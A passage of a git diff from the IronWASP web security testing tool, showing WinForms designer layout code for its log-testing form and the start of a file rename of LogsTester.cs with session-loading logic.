this.dataGridViewTextBoxColumn3.FillWeight = 35.96939F; + this.dataGridViewTextBoxColumn3.HeaderText = "Information"; + this.dataGridViewTextBoxColumn3.Name = "dataGridViewTextBoxColumn3"; + this.dataGridViewTextBoxColumn3.ReadOnly = true; + this.dataGridViewTextBoxColumn3.Width = 80; + // + // dataGridViewTextBoxColumn4 + // + this.dataGridViewTextBoxColumn4.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewTextBoxColumn4.HeaderText = "TestLeads"; + this.dataGridViewTextBoxColumn4.Name = "dataGridViewTextBoxColumn4"; + this.dataGridViewTextBoxColumn4.ReadOnly = true; + this.dataGridViewTextBoxColumn4.Width = 80; + // + // Column2 + // + this.Column2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.Column2.HeaderText = "Finding Titles"; + this.Column2.Name = "Column2"; + this.Column2.ReadOnly = true; + // + // PassivePluginScanResultsBottomTabs + // + this.PassivePluginScanResultsBottomTabs.Controls.Add(this.tabPage5); + this.PassivePluginScanResultsBottomTabs.Controls.Add(this.tabPage6); + this.PassivePluginScanResultsBottomTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.PassivePluginScanResultsBottomTabs.Location = new System.Drawing.Point(0, 0); + this.PassivePluginScanResultsBottomTabs.Margin = new System.Windows.Forms.Padding(0); + this.PassivePluginScanResultsBottomTabs.Name = "PassivePluginScanResultsBottomTabs"; + this.PassivePluginScanResultsBottomTabs.Padding = new System.Drawing.Point(0, 0); + this.PassivePluginScanResultsBottomTabs.SelectedIndex = 0; + this.PassivePluginScanResultsBottomTabs.Size = new System.Drawing.Size(858, 247); + this.PassivePluginScanResultsBottomTabs.TabIndex = 1; + this.PassivePluginScanResultsBottomTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.PassivePluginScanResultsBottomTabs_Selecting); + // + // tabPage5 + // + this.tabPage5.Controls.Add(this.PassivePluginsTestResultsBottomSplit); + this.tabPage5.Location = new System.Drawing.Point(4, 22); + this.tabPage5.Margin = new System.Windows.Forms.Padding(0); + this.tabPage5.Name = "tabPage5"; + this.tabPage5.Size = new System.Drawing.Size(850, 221); + this.tabPage5.TabIndex = 0; + this.tabPage5.Text = "Vulnerability Information"; + this.tabPage5.UseVisualStyleBackColor = true; + // + // PassivePluginsTestResultsBottomSplit + // + this.PassivePluginsTestResultsBottomSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.PassivePluginsTestResultsBottomSplit.Location = new System.Drawing.Point(0, 0); + this.PassivePluginsTestResultsBottomSplit.Margin = new System.Windows.Forms.Padding(0); + this.PassivePluginsTestResultsBottomSplit.Name = "PassivePluginsTestResultsBottomSplit"; + // + // PassivePluginsTestResultsBottomSplit.Panel1 + // + this.PassivePluginsTestResultsBottomSplit.Panel1.Controls.Add(this.FindingsTree); + // + // PassivePluginsTestResultsBottomSplit.Panel2 + // + this.PassivePluginsTestResultsBottomSplit.Panel2.Controls.Add(this.ResultsDisplayRTB); + this.PassivePluginsTestResultsBottomSplit.Size = new System.Drawing.Size(850, 221); + this.PassivePluginsTestResultsBottomSplit.SplitterDistance = 238; + this.PassivePluginsTestResultsBottomSplit.SplitterWidth = 2; + this.PassivePluginsTestResultsBottomSplit.TabIndex = 0; + // + // FindingsTree + // + this.FindingsTree.BackColor = System.Drawing.Color.White; + this.FindingsTree.Dock = System.Windows.Forms.DockStyle.Fill; + this.FindingsTree.Location = new System.Drawing.Point(0, 0); + this.FindingsTree.Margin = new System.Windows.Forms.Padding(0); + this.FindingsTree.Name = "FindingsTree"; + this.FindingsTree.ShowRootLines = false; + this.FindingsTree.Size = new System.Drawing.Size(238, 221); + this.FindingsTree.TabIndex = 2; + this.FindingsTree.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.FindingsTree_AfterSelect); + // + // ResultsDisplayRTB + // + this.ResultsDisplayRTB.BackColor = System.Drawing.SystemColors.Window; + this.ResultsDisplayRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ResultsDisplayRTB.DetectUrls = false; + this.ResultsDisplayRTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResultsDisplayRTB.Font = new System.Drawing.Font("Palatino Linotype", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ResultsDisplayRTB.Location = new System.Drawing.Point(0, 0); + this.ResultsDisplayRTB.Name = "ResultsDisplayRTB"; + this.ResultsDisplayRTB.ReadOnly = true; + this.ResultsDisplayRTB.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical; + this.ResultsDisplayRTB.Size = new System.Drawing.Size(610, 221); + this.ResultsDisplayRTB.TabIndex = 1; + this.ResultsDisplayRTB.Text = ""; + // + // tabPage6 + // + this.tabPage6.Controls.Add(this.PassivePluginLogTabs); + this.tabPage6.Controls.Add(this.PassivePluginLogLoadProgressBar); + this.tabPage6.Location = new System.Drawing.Point(4, 22); + this.tabPage6.Margin = new System.Windows.Forms.Padding(0); + this.tabPage6.Name = "tabPage6"; + this.tabPage6.Size = new System.Drawing.Size(850, 221); + this.tabPage6.TabIndex = 1; + this.tabPage6.Text = "View this Request/Response"; + this.tabPage6.UseVisualStyleBackColor = true; + // + // PassivePluginLogTabs + // + this.PassivePluginLogTabs.Controls.Add(this.tabPage20); + this.PassivePluginLogTabs.Controls.Add(this.tabPage21); + this.PassivePluginLogTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.PassivePluginLogTabs.Location = new System.Drawing.Point(0, 0); + this.PassivePluginLogTabs.Margin = new System.Windows.Forms.Padding(0); + this.PassivePluginLogTabs.Name = "PassivePluginLogTabs"; + this.PassivePluginLogTabs.Padding = new System.Drawing.Point(0, 0); + this.PassivePluginLogTabs.SelectedIndex = 0; + this.PassivePluginLogTabs.Size = new System.Drawing.Size(850, 221); + this.PassivePluginLogTabs.TabIndex = 34; + // + // tabPage20 + // + this.tabPage20.Controls.Add(this.PassivePluginLogRequestView); + this.tabPage20.Location = new System.Drawing.Point(4, 22); + this.tabPage20.Margin = new System.Windows.Forms.Padding(0); + this.tabPage20.Name = "tabPage20"; + this.tabPage20.Size = new System.Drawing.Size(842, 195); + this.tabPage20.TabIndex = 0; + this.tabPage20.Text = "Request"; + this.tabPage20.UseVisualStyleBackColor = true; + // + // tabPage21 + // + this.tabPage21.Controls.Add(this.PassivePluginLogResponseView); + this.tabPage21.Location = new System.Drawing.Point(4, 22); + this.tabPage21.Margin = new System.Windows.Forms.Padding(0); + this.tabPage21.Name = "tabPage21"; + this.tabPage21.Size = new System.Drawing.Size(842, 195); + this.tabPage21.TabIndex = 1; + this.tabPage21.Text = "Response"; + this.tabPage21.UseVisualStyleBackColor = true; + // + // PassivePluginLogLoadProgressBar + // + this.PassivePluginLogLoadProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.PassivePluginLogLoadProgressBar.Location = new System.Drawing.Point(299, 41); + this.PassivePluginLogLoadProgressBar.MarqueeAnimationSpeed = 10; + this.PassivePluginLogLoadProgressBar.Name = "PassivePluginLogLoadProgressBar"; + this.PassivePluginLogLoadProgressBar.Size = new System.Drawing.Size(236, 23); + this.PassivePluginLogLoadProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.PassivePluginLogLoadProgressBar.TabIndex = 33; + this.PassivePluginLogLoadProgressBar.Visible = false; + // + // OriginalRequestView + // + this.OriginalRequestView.BackColor = System.Drawing.Color.White; + this.OriginalRequestView.Dock = System.Windows.Forms.DockStyle.Fill; + this.OriginalRequestView.Location = new System.Drawing.Point(0, 0); + this.OriginalRequestView.Margin = new System.Windows.Forms.Padding(0); + this.OriginalRequestView.Name = "OriginalRequestView"; + this.OriginalRequestView.ReadOnly = true; + this.OriginalRequestView.Size = new System.Drawing.Size(842, 195); + this.OriginalRequestView.TabIndex = 0; + // + // OriginalResponseView + // + this.OriginalResponseView.BackColor = System.Drawing.Color.White; + this.OriginalResponseView.Dock = System.Windows.Forms.DockStyle.Fill; + this.OriginalResponseView.IncludeReflectionTab = true; + this.OriginalResponseView.Location = new System.Drawing.Point(0, 0); + this.OriginalResponseView.Margin = new System.Windows.Forms.Padding(0); + this.OriginalResponseView.Name = "OriginalResponseView"; + this.OriginalResponseView.ReadOnly = true; + this.OriginalResponseView.Size = new System.Drawing.Size(842, 195); + this.OriginalResponseView.TabIndex = 0; + // + // ResentRequestView + // + this.ResentRequestView.BackColor = System.Drawing.Color.White; + this.ResentRequestView.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResentRequestView.Location = new System.Drawing.Point(0, 0); + this.ResentRequestView.Margin = new System.Windows.Forms.Padding(0); + this.ResentRequestView.Name = "ResentRequestView"; + this.ResentRequestView.ReadOnly = true; + this.ResentRequestView.Size = new System.Drawing.Size(842, 195); + this.ResentRequestView.TabIndex = 0; + // + // ResentResponseView + // + this.ResentResponseView.BackColor = System.Drawing.Color.White; + this.ResentResponseView.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResentResponseView.IncludeReflectionTab = true; + this.ResentResponseView.Location = new System.Drawing.Point(0, 0); + this.ResentResponseView.Margin = new System.Windows.Forms.Padding(0); + this.ResentResponseView.Name = "ResentResponseView"; + this.ResentResponseView.ReadOnly = true; + this.ResentResponseView.Size = new System.Drawing.Size(842, 195); + this.ResentResponseView.TabIndex = 0; + // + // TestRequestView + // + this.TestRequestView.BackColor = System.Drawing.Color.White; + this.TestRequestView.Dock = System.Windows.Forms.DockStyle.Fill; + this.TestRequestView.Location = new System.Drawing.Point(0, 0); + this.TestRequestView.Margin = new System.Windows.Forms.Padding(0); + this.TestRequestView.Name = "TestRequestView"; + this.TestRequestView.ReadOnly = true; + this.TestRequestView.Size = new System.Drawing.Size(842, 195); + this.TestRequestView.TabIndex = 0; + // + // TestResponseView + // + this.TestResponseView.BackColor = System.Drawing.Color.White; + this.TestResponseView.Dock = System.Windows.Forms.DockStyle.Fill; + this.TestResponseView.IncludeReflectionTab = true; + this.TestResponseView.Location = new System.Drawing.Point(0, 0); + this.TestResponseView.Margin = new System.Windows.Forms.Padding(0); + this.TestResponseView.Name = "TestResponseView"; + this.TestResponseView.ReadOnly = true; + this.TestResponseView.Size = new System.Drawing.Size(842, 195); + this.TestResponseView.TabIndex = 0; + // + // OriginalVsResentRequestDRV + // + this.OriginalVsResentRequestDRV.Dock = System.Windows.Forms.DockStyle.Fill; + this.OriginalVsResentRequestDRV.Location = new System.Drawing.Point(0, 0); + this.OriginalVsResentRequestDRV.Margin = new System.Windows.Forms.Padding(0); + this.OriginalVsResentRequestDRV.Name = "OriginalVsResentRequestDRV"; + this.OriginalVsResentRequestDRV.Size = new System.Drawing.Size(842, 195); + this.OriginalVsResentRequestDRV.TabIndex = 0; + // + // OriginalVsResentResponseDRV + // + this.OriginalVsResentResponseDRV.Dock = System.Windows.Forms.DockStyle.Fill; + this.OriginalVsResentResponseDRV.Location = new System.Drawing.Point(0, 0); + this.OriginalVsResentResponseDRV.Margin = new System.Windows.Forms.Padding(0); + this.OriginalVsResentResponseDRV.Name = "OriginalVsResentResponseDRV"; + this.OriginalVsResentResponseDRV.Size = new System.Drawing.Size(842, 195); + this.OriginalVsResentResponseDRV.TabIndex = 1; + // + // ResentVsTestRequestDRV + // + this.ResentVsTestRequestDRV.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResentVsTestRequestDRV.Location = new System.Drawing.Point(0, 0); + this.ResentVsTestRequestDRV.Margin = new System.Windows.Forms.Padding(0); + this.ResentVsTestRequestDRV.Name = "ResentVsTestRequestDRV"; + this.ResentVsTestRequestDRV.Size = new System.Drawing.Size(842, 195); + this.ResentVsTestRequestDRV.TabIndex = 0; + // + // ResentVsTestResponseDRV + // + this.ResentVsTestResponseDRV.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResentVsTestResponseDRV.Location = new System.Drawing.Point(0, 0); + this.ResentVsTestResponseDRV.Margin = new System.Windows.Forms.Padding(0); + this.ResentVsTestResponseDRV.Name = "ResentVsTestResponseDRV"; + this.ResentVsTestResponseDRV.Size = new System.Drawing.Size(842, 195); + this.ResentVsTestResponseDRV.TabIndex = 1; + // + // OriginalVsTestRequestDRV + // + this.OriginalVsTestRequestDRV.Dock = System.Windows.Forms.DockStyle.Fill; + this.OriginalVsTestRequestDRV.Location = new System.Drawing.Point(0, 0); + this.OriginalVsTestRequestDRV.Margin = new System.Windows.Forms.Padding(0); + this.OriginalVsTestRequestDRV.Name = "OriginalVsTestRequestDRV"; + this.OriginalVsTestRequestDRV.Size = new System.Drawing.Size(842, 195); + this.OriginalVsTestRequestDRV.TabIndex = 0; + // + // OriginalVsTestResponseDRV + // + this.OriginalVsTestResponseDRV.Dock = System.Windows.Forms.DockStyle.Fill; + this.OriginalVsTestResponseDRV.Location = new System.Drawing.Point(0, 0); + this.OriginalVsTestResponseDRV.Margin = new System.Windows.Forms.Padding(0); + this.OriginalVsTestResponseDRV.Name = "OriginalVsTestResponseDRV"; + this.OriginalVsTestResponseDRV.Size = new System.Drawing.Size(842, 195); + this.OriginalVsTestResponseDRV.TabIndex = 1; + // + // PassivePluginLogRequestView + // + this.PassivePluginLogRequestView.BackColor = System.Drawing.Color.White; + this.PassivePluginLogRequestView.Dock = System.Windows.Forms.DockStyle.Fill; + this.PassivePluginLogRequestView.Location = new System.Drawing.Point(0, 0); + this.PassivePluginLogRequestView.Margin = new System.Windows.Forms.Padding(0); + this.PassivePluginLogRequestView.Name = "PassivePluginLogRequestView"; + this.PassivePluginLogRequestView.ReadOnly = true; + this.PassivePluginLogRequestView.Size = new System.Drawing.Size(842, 195); + this.PassivePluginLogRequestView.TabIndex = 0; + // + // PassivePluginLogResponseView + // + this.PassivePluginLogResponseView.BackColor = System.Drawing.Color.White; + this.PassivePluginLogResponseView.Dock = System.Windows.Forms.DockStyle.Fill; + this.PassivePluginLogResponseView.IncludeReflectionTab = true; + this.PassivePluginLogResponseView.Location = new System.Drawing.Point(0, 0); + this.PassivePluginLogResponseView.Margin = new System.Windows.Forms.Padding(0); + this.PassivePluginLogResponseView.Name = "PassivePluginLogResponseView"; + this.PassivePluginLogResponseView.ReadOnly = true; + this.PassivePluginLogResponseView.Size = new System.Drawing.Size(842, 195); + this.PassivePluginLogResponseView.TabIndex = 0; + // + // LogsTester + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(884, 562); + this.Controls.Add(this.BaseTabs); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "LogsTester"; + this.Text = "Test Selected Log Items"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.LogsTester_FormClosing); + this.Load += new System.EventHandler(this.LogsTester_Load); + this.BaseTabs.ResumeLayout(false); + this.SelectTestTab.ResumeLayout(false); + this.SelectTestTab.PerformLayout(); + this.ConfigureTab.ResumeLayout(false); + this.ConfigureTab.PerformLayout(); + this.ConfigureTestTabs.ResumeLayout(false); + this.ConfigureParameterTab.ResumeLayout(false); + this.ConfigureParameterTab.PerformLayout(); + this.SelectPluginsTab.ResumeLayout(false); + this.SelectPluginsTab.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.PassiveScanPluginsGrid)).EndInit(); + this.ResultsTab.ResumeLayout(false); + this.ResultsTab.PerformLayout(); + this.ResultsBaseTabs.ResumeLayout(false); + this.ParameterManipulationResultsTab.ResumeLayout(false); + this.ParameterManipulationResultsSplit.Panel1.ResumeLayout(false); + this.ParameterManipulationResultsSplit.Panel2.ResumeLayout(false); + this.ParameterManipulationResultsSplit.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.ParameterManipulationResultsLogGrid)).EndInit(); + this.ParameterManipulationResultsBottomTabs.ResumeLayout(false); + this.tabPage7.ResumeLayout(false); + this.LogDisplayTabs.ResumeLayout(false); + this.tabPage12.ResumeLayout(false); + this.tabPage29.ResumeLayout(false); + this.tabPage8.ResumeLayout(false); + this.tabControl2.ResumeLayout(false); + this.tabPage13.ResumeLayout(false); + this.tabPage14.ResumeLayout(false); + this.tabPage3.ResumeLayout(false); + this.tabControl3.ResumeLayout(false); + this.tabPage15.ResumeLayout(false); + this.tabPage16.ResumeLayout(false); + this.tabPage9.ResumeLayout(false); + this.tabControl1.ResumeLayout(false); + this.tabPage1.ResumeLayout(false); + this.tabPage2.ResumeLayout(false); + this.tabPage10.ResumeLayout(false); + this.tabControl4.ResumeLayout(false); + this.tabPage4.ResumeLayout(false); + this.tabPage18.ResumeLayout(false); + this.tabPage11.ResumeLayout(false); + this.tabControl5.ResumeLayout(false); + this.tabPage19.ResumeLayout(false); + this.tabPage22.ResumeLayout(false); + this.tabPage17.ResumeLayout(false); + this.tabPage17.PerformLayout(); + this.PassiveChecksResultsTab.ResumeLayout(false); + this.PassivePluginsTestResultsBaseSplit.Panel1.ResumeLayout(false); + this.PassivePluginsTestResultsBaseSplit.Panel2.ResumeLayout(false); + this.PassivePluginsTestResultsBaseSplit.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.PassivePluginsScanResultsGrid)).EndInit(); + this.PassivePluginScanResultsBottomTabs.ResumeLayout(false); + this.tabPage5.ResumeLayout(false); + this.PassivePluginsTestResultsBottomSplit.Panel1.ResumeLayout(false); + this.PassivePluginsTestResultsBottomSplit.Panel2.ResumeLayout(false); + this.PassivePluginsTestResultsBottomSplit.ResumeLayout(false); + this.tabPage6.ResumeLayout(false); + this.PassivePluginLogTabs.ResumeLayout(false); + this.tabPage20.ResumeLayout(false); + this.tabPage21.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.TabControl BaseTabs; + private System.Windows.Forms.TabPage SelectTestTab; + private System.Windows.Forms.RadioButton RunPassivePluginsRB; + private System.Windows.Forms.RadioButton ParameterDeleteTestRB; + private System.Windows.Forms.RadioButton ParameterEditTestRB; + private System.Windows.Forms.RadioButton ParameterAddTestRB; + internal System.Windows.Forms.TextBox Step0StatusTB; + private System.Windows.Forms.Button CancelBtn; + private System.Windows.Forms.TextBox textBox2; + private System.Windows.Forms.Button StepOneNextBtn; + private System.Windows.Forms.TabPage ConfigureTab; + internal System.Windows.Forms.TextBox Step1StatusTB; + internal System.Windows.Forms.TabControl ConfigureTestTabs; + private System.Windows.Forms.TabPage ConfigureParameterTab; + private System.Windows.Forms.TabPage SelectPluginsTab; + internal System.Windows.Forms.DataGridView PassiveScanPluginsGrid; + private System.Windows.Forms.CheckBox SelectAllPassivePluginsCB; + private System.Windows.Forms.TextBox textBox4; + private System.Windows.Forms.Button StepTwoPreviousBtn; + private System.Windows.Forms.Button StartTestBtn; + private System.Windows.Forms.TabPage ResultsTab; + private System.Windows.Forms.TextBox ParameterValueTB; + private System.Windows.Forms.Label ParameterValueTBLbl; + private System.Windows.Forms.Label ParameterActionLbl; + private System.Windows.Forms.TextBox ParameterNameTB; + private System.Windows.Forms.Label ParameterNameTBLbl; + private System.Windows.Forms.ComboBox ParameterTypeCombo; + private System.Windows.Forms.Label ParameterTypeComboLbl; + internal System.Windows.Forms.TabControl ResultsBaseTabs; + private System.Windows.Forms.TabPage ParameterManipulationResultsTab; + private System.Windows.Forms.TabPage PassiveChecksResultsTab; + private System.Windows.Forms.TextBox textBox19; + private System.Windows.Forms.SplitContainer ParameterManipulationResultsSplit; + internal System.Windows.Forms.DataGridView ParameterManipulationResultsLogGrid; + internal System.Windows.Forms.TabControl ParameterManipulationResultsBottomTabs; + private System.Windows.Forms.TabPage tabPage7; + private System.Windows.Forms.TabPage tabPage8; + private System.Windows.Forms.TabPage tabPage3; + private System.Windows.Forms.TabPage tabPage9; + private System.Windows.Forms.TabPage tabPage10; + private System.Windows.Forms.TabPage tabPage11; + internal System.Windows.Forms.TabControl LogDisplayTabs; + private System.Windows.Forms.TabPage tabPage12; + internal RequestView OriginalRequestView; + private System.Windows.Forms.TabPage tabPage29; + internal ResponseView OriginalResponseView; + internal System.Windows.Forms.TabControl tabControl2; + private System.Windows.Forms.TabPage tabPage13; + internal RequestView ResentRequestView; + private System.Windows.Forms.TabPage tabPage14; + internal ResponseView ResentResponseView; + internal System.Windows.Forms.TabControl tabControl3; + private System.Windows.Forms.TabPage tabPage15; + internal RequestView TestRequestView; + private System.Windows.Forms.TabPage tabPage16; + internal ResponseView TestResponseView; + private System.Windows.Forms.TabPage tabPage17; + private DiffResultView OriginalVsResentRequestDRV; + private DiffResultView ResentVsTestRequestDRV; + private DiffResultView OriginalVsTestRequestDRV; + internal System.Windows.Forms.Button PlayBtn; + internal System.Windows.Forms.Button StopBtn; + internal System.Windows.Forms.Button PauseBtn; + private System.Windows.Forms.ProgressBar ParameterManipulationLoadProgressBar; + private System.Windows.Forms.Label ParameterManipulationResultsStatusLbl; + internal System.Windows.Forms.TabControl tabControl1; + private System.Windows.Forms.TabPage tabPage1; + private System.Windows.Forms.TabPage tabPage2; + private DiffResultView OriginalVsResentResponseDRV; + internal System.Windows.Forms.TabControl tabControl4; + private System.Windows.Forms.TabPage tabPage4; + private System.Windows.Forms.TabPage tabPage18; + private DiffResultView ResentVsTestResponseDRV; + internal System.Windows.Forms.TabControl tabControl5; + private System.Windows.Forms.TabPage tabPage19; + private System.Windows.Forms.TabPage tabPage22; + private DiffResultView OriginalVsTestResponseDRV; + private System.Windows.Forms.DataGridViewTextBoxColumn IDClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn OriginalCode; + private System.Windows.Forms.DataGridViewTextBoxColumn OriginalLengthClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn ResentIdClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn ResentCodeClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn ResentLengthClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn TestIdClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn TestCodeClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn TestLengthClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn OriginalVsResentClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn ResentVsTestClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn OriginalVsTestClmn; + private System.Windows.Forms.CheckBox ShouldResentOriginalRequestCB; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn9; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn27; + private System.Windows.Forms.SplitContainer PassivePluginsTestResultsBaseSplit; + internal System.Windows.Forms.DataGridView PassivePluginsScanResultsGrid; + private System.Windows.Forms.SplitContainer PassivePluginsTestResultsBottomSplit; + internal System.Windows.Forms.RichTextBox ResultsDisplayRTB; + public System.Windows.Forms.TreeView FindingsTree; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn1; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn2; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn5; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn6; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn7; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn3; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn4; + private System.Windows.Forms.DataGridViewTextBoxColumn Column2; + private System.Windows.Forms.TabControl PassivePluginScanResultsBottomTabs; + private System.Windows.Forms.TabPage tabPage5; + private System.Windows.Forms.TabPage tabPage6; + internal System.Windows.Forms.TabControl PassivePluginLogTabs; + private System.Windows.Forms.TabPage tabPage20; + internal RequestView PassivePluginLogRequestView; + private System.Windows.Forms.TabPage tabPage21; + internal ResponseView PassivePluginLogResponseView; + private System.Windows.Forms.ProgressBar PassivePluginLogLoadProgressBar; + internal System.Windows.Forms.ComboBox SessionPluginsCombo; + private System.Windows.Forms.LinkLabel LaunchSessionPluginCreationAssistantLL; + private System.Windows.Forms.LinkLabel RefreshSessListLL; + private System.Windows.Forms.TextBox textBox1; + private System.Windows.Forms.Label label11; + private System.Windows.Forms.TextBox textBox3; + private System.Windows.Forms.TextBox textBox5; + private System.Windows.Forms.TextBox textBox6; + private System.Windows.Forms.TextBox textBox7; + private System.Windows.Forms.TextBox textBox11; + private System.Windows.Forms.TextBox textBox8; + } } \ No newline at end of file diff --git a/IronWASP/LogsTester.cs b/Iron/LogsTester.cs similarity index 97% rename from IronWASP/LogsTester.cs rename to Iron/LogsTester.cs index acc73bf..cbc8d07 100644 --- a/IronWASP/LogsTester.cs +++ b/Iron/LogsTester.cs @@ -1,1291 +1,1291 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Text; -using System.Windows.Forms; -using System.Threading; - -namespace IronWASP -{ - public partial class LogsTester : Form - { - int CurrentStep = 0; - - int CurrentIndex = 0; - int Counter = 0; - Dictionary LogIdsToTest = new Dictionary(); - string LogSource = ""; - - string TestType = AddParameterTest; - SessionPlugin SessionHandler = new SessionPlugin(); - - public const string AddParameterTest = "AddParameterTest"; - public const string EditParameterTest = "EditParameterTest"; - public const string DeleteParameterTest = "DeleteParameterTest"; - public const string PassivePluginTest = "PassivePluginTest"; - - public const string UrlPartPartSection = "UrlPathPart"; - public const string QuerySection = "Query"; - public const string NormalBodySection = "Body"; - public const string OtherTypeBodySection = "OtherTypeBodySection"; - public const string CookieSection = "Cookie"; - public const string HeaderSection = "Header"; - - const string TesterLogSourceAttributeValue = "LogTester"; - - string ParameterSection = ""; - string ParameterName = ""; - int UrlPathPartPosition = 0; - string ParameterValue = ""; - - List PassivePluginsToRun = new List(); - int FindingsIdCounter = 0; - - Dictionary AllFindings = new Dictionary(); - - bool DoTest = true; - - bool ShouldResendOriginalRequest = true; - - internal static Thread TestThread; - internal static Thread LogLoadThread; - - public LogsTester() - { - InitializeComponent(); - } - - private void ParameterManipulationResultsLogGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (ParameterManipulationResultsLogGrid.SelectedCells.Count < 1 || ParameterManipulationResultsLogGrid.SelectedCells[0].Value == null || ParameterManipulationResultsLogGrid.SelectedRows.Count == 0) - { - return; - } - int OriginalLogId = (int)ParameterManipulationResultsLogGrid.SelectedCells[0].Value; - int ResentLogId = 0; - if (ParameterManipulationResultsLogGrid.SelectedCells[3].Value != null) - ResentLogId = (int)ParameterManipulationResultsLogGrid.SelectedCells[3].Value; - int TestLogId = 0; - if (ParameterManipulationResultsLogGrid.SelectedCells[6].Value != null) - TestLogId = (int)ParameterManipulationResultsLogGrid.SelectedCells[6].Value; - ShowSelectedTestResult(this.LogSource, OriginalLogId, ResentLogId, TestLogId); - } - - void ShowSelectedTestResult(string Source, int OriginalLogId, int ResentLogId, int TestLogId) - { - ParameterManipulationResultsBottomTabs.Visible = false; - ParameterManipulationLoadProgressBar.Visible = true; - - OriginalRequestView.ClearRequest(); - OriginalResponseView.ClearResponse(); - ResentRequestView.ClearRequest(); - ResentResponseView.ClearResponse(); - TestRequestView.ClearRequest(); - TestResponseView.ClearResponse(); - - OriginalVsResentRequestDRV.ClearDiffResults(); - OriginalVsResentResponseDRV.ClearDiffResults(); - ResentVsTestRequestDRV.ClearDiffResults(); - ResentVsTestResponseDRV.ClearDiffResults(); - OriginalVsTestRequestDRV.ClearDiffResults(); - OriginalVsTestResponseDRV.ClearDiffResults(); - - if (LogLoadThread != null) - { - try - { - LogLoadThread.Abort(); - } - catch { } - } - object[] SelectedLogInfo = new object[] { Source, OriginalLogId, ResentLogId, TestLogId}; - LogLoadThread = new Thread(ShowSelectedTestResult); - LogLoadThread.Start(SelectedLogInfo); - } - - void ShowSelectedTestResult(object SelectedLogInfoObject) - { - object[] SelectedLogInfo = (object[])SelectedLogInfoObject; - string Source = SelectedLogInfo[0].ToString(); - int OriginalLogId = (int) SelectedLogInfo[1]; - int ResentLogId = (int) SelectedLogInfo[2]; - int TestLogId = (int)SelectedLogInfo[3]; - try - { - Session OriginalSession = Session.FromLog(OriginalLogId, Source); - Session ResentSession = null; - if (ResentLogId > 0) - ResentSession = Session.FromLog(ResentLogId, TesterLogSourceAttributeValue); - Session TestSession = null; - if (TestLogId > 0) - TestSession = Session.FromLog(TestLogId, TesterLogSourceAttributeValue); - string OriginalRequestString = ""; - string OriginalResponseString = ""; - string ResentRequestString = ""; - string ResentResponseString = ""; - string TestRequestString = ""; - string TestResponseString = ""; - if (OriginalSession.Request != null) - { - OriginalRequestView.SetRequest(OriginalSession.Request); - OriginalRequestString = OriginalSession.Request.ToString(); - } - if (OriginalSession.Response != null) - { - OriginalResponseView.SetResponse(OriginalSession.Response, OriginalSession.Request); - OriginalResponseString = OriginalSession.Response.ToString(); - } - if (ResentSession != null && ResentSession.Request != null) - { - ResentRequestView.SetRequest(ResentSession.Request); - ResentRequestString = ResentSession.Request.ToString(); - } - if (ResentSession != null && ResentSession.Response != null) - { - ResentResponseView.SetResponse(ResentSession.Response, ResentSession.Request); - ResentResponseString = 